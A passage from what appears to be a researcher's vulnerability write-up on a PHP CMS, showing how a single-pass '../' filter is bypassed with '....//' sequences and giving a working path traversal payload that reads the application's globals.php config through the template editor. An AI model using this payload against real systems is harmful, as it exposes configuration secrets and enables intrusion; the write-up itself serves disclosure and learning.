intval($_REQUEST['statistics']); } ``` What this line does is replace any "../" or "..\\" strings that exist in the file path upon clicking the edit file button. As this is not iterated, it will only remove those strings once. `../` will become `[blank space]` `..\` will become `[blank space]` `....//` will become `../` Using this technique, we can create a payload as so: `....//....//....//....//....//....//....//....//....//....//var/www/html/navigate/cfg/globals.php` Now let's test the payload on the application. 1. I made a new template. 2. I set any title. 3. I set the path to template to be: `....//....//....//....//....//....//....//....//....//....//var/www/html/navigate/cfg/globals.php` 4. I save the template. 5. I click the edit button. This is the output I get: ![](https://i.imgur.com/Stq90he.png) We successfully leaked the global configuration file. This technique can also be used to create an index file with a PHP backdoor in it. ## Conclusion In conclusion, this application had multiple vulnerabilities with severe consequences. I will continue to dig into the app, along with other open source projects, as I think it is a great way to learn, and expand on new techniques. I always find it fun to contribute back to the development community via white-box testing open source applications, even if it is for free. Hacking is not only my job, but my hobby, and the satisfaction of building a working exploit is something I will always love to get. If any questions or queries come up, feel free to contact me on [twitter](https://twitter.com/SecGus).

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully